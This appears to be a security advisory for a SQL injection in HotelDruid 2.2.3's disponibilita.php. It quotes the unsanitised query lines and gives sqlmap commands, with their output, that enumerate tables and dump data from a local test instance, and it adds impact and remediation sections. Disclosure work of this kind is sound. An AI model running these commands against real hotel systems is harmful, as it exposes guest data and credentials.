HotelDruid 2.2.3: SQL Injection in disponibilita.php
Summary
HotelDruid version 2.2.3 contains a SQL injection vulnerability in the disponibilita.php script. The application fails to properly sanitize or parameterize the inizioperiodo and fineperiodo input parameters before incorporating them into SQL queries. An attacker can exploit this by supplying specially crafted date strings that break out of the single-quoted string literals in the SQL statement, allowing the execution of arbitrary SQL commands.
Vulnerable Code
The vulnerability occurs in disponibilita.php because the inizioperiodo and fineperiodo variables, populated from user-controlled global variables (via $_GET or $_POST), are used directly in SQL queries:
Code 1 — disponibilita.php:180:
$idinizioperiodo = esegui_query("select idperiodi from $tableperiodi where datainizio = '$inizioperiodo' ");
Code 2 — disponibilita.php:184:
$idfineperiodo = esegui_query("select idperiodi from $tableperiodi where datafine = '$fineperiodo' ");
Both parameters are injected directly into the SQL query without any escaping, parameterization, or input validation.
Proof of Concept
The vulnerability can be exploited using sqlmap for automated extraction:
Table Enumeration
sqlmap -u 'http://localhost:8080/disponibilita.php?inizioperiodo=2026-01-01' --batch --tables
This reveals 36 tables including sensitive ones:
+---------------------+
| utenti |
| clienti |
| sessioni |
| prenota2026 |
| privilegi |
| transazioni |
| soldi2026 |
| ... |
+---------------------+
Data Extraction
sqlmap -u 'http://localhost:8080/disponibilita.php?inizioperiodo=2026-01-01' --batch -T versioni --dump
Table: versioni [2 entries]
+------------+--------------+
| idversioni | num_versione |
+------------+--------------+
| 1 | 2.23 |
| 2 | 100.0 |
+------------+--------------+
Impact
A successful exploit allows an unauthenticated or authenticated attacker (depending on the instance configuration) to perform:
- Data Extraction — Accessing sensitive information such as user credentials, guest data, and system configurations
- Data Modification — Altering reservation records or user permissions
- Data Deletion — Causing data loss or service disruption
- System Compromise — In some configurations, this could lead to full control over the database server
Remediation
- Use parameterized queries or prepared statements
- Implement input validation and sanitization on all user-controlled parameters
- Apply the principle of least privilege to database accounts